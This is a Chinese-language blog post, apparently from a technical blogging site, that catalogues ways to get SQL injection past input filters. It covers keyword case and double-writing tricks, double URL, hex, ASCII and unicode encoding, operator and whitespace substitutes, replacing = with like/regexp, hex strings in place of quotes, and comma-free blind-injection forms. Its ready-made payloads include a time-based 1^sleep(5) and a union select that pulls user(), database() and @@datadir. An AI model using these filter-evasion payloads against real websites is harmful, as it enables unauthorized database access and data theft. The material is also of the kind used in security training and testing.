SQL注入:绕过操作

常用的绕过操作:

1、大小写绕过

        通过修改关键字内字母大小写来绕过过滤措施。例如:AnD1=1Select* from ** oRdEr by 1  

2、双写绕过

        使用双写绕过。因为在过滤过程中只进行了一次替换。就是将关键字替换为对应的空。

比如 union在程序员处理时被替换为空,那需要我们可以尝试把union改写为Ununionion,这样红

色部分替换为空,则剩下的依然为union还可以结合大小写过滤一起使用

3、编码绕过

       可以利用网络中的开源的URL在线编码,绕过SQL注入的过滤机制

     如URLEncode编码,ASCII,HEX,unicode编码绕过:

  1)对关键字进行两次url全编码
1+and+1=2
1+%25%36%31%25%36%65%25%36%34+1=2 
  2)ascii编码绕过
Test 等价于CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
   3)16进制绕过:
select * from users where username = test1;
select * from users where username = 0x7465737431;
  4)unicode编码对部分符号的绕过
单引号=> %u0037 %u02b9
空格=> %u0020 %uff00
左括号=> %u0028 %uff08
右括号=> %u0029 %uff09
4、对or and xor not 绕过
or = ||
and = &&
xor = | 或者 ^ # 异或,例如Select * from cms_users where userid=1^sleep(5);
not = !
5、空格绕过
/**/
()
回车(url编码中的%0a)
`(tap键上面的按钮)
tap
两个空格
6、对等号=绕过

不加通配符的like执行的效果和 = 一致,所以可以用来绕过


1)正常加上通配符的like:
 Select * from cms_users where username like "ad%";
2)不加上通配符的like可以用来取代=:
 Select * from cms_users where username like "admin";
3)regexp:MySQL中使用 REGEXP 操作符来进行正则表达式匹配
Select * from cms_users where username REGEXP "admin";
4)使用大于小于号绕过
Select * from cms_users where userid>0 and userid<2;
5)<> 等价于 != ,所以在前面再加一个 ! 结果就是等号了
Select * from cms_users where !(username <> "admin");
7、对单引号的绕过
使用十六进制

       会使用到引号的地方一般是在最后的where子句中。如下面的一条sql语句,这条语句就是一个简单的用来查选得到users表中所有字段的一条语句:

select column_name  from information_schema.tables where table_name="users"

        这个时候如果引号被过滤了,那么上面的where子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。
  users的十六进制的字符串是7573657273。那么最后的sql语句就变为了:

select column_name  from information_schema.tables where table_name=0x7573657273
宽字节
8、对逗号的绕过

sql盲注时常用到以下的函数:

substr()

substr(string, pos, len):从pos开始,取长度为len的子串
substr(string, pos):从pos开始,取到string的最后

substring()

用法和substr()一样

mid()

用法和substr()一样,但是mid()是为了向下兼容VB6.0,已经过时,以上的几个函数的pos都是从1开始的

left()和right()

 left(string, len)和right(string, len):分别是从左或从右取string中长度为len的子串

limit

limit pos len:在返回项中从pos开始去len个返回值,pos的从0开始

ascii()和char()

ascii(char):把char这个字符转为ascii码
char(ascii_int):和ascii()的作用相反,将ascii码转字符

对于substr()和mid()这两个方法可以使用from for 的方式来解决
 select substr(database() from 1 for 1)='c';
使用join关键字来绕过
union select 1,2,3,4;
union select * from ((select 1)A join (select 2)B join (select 3)C join (select 4)D);
union select * from ((select 1)A join (select 2)B join (select 3)C join (select group_concat(user(),' ',database(),' ',@@datadir))D);
使用like关键字 适用于substr()等提取子串的函数中的逗号
select ascii(mid(user(),1,1))=80   #等价于
select user() like 'r%'

  • 9
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值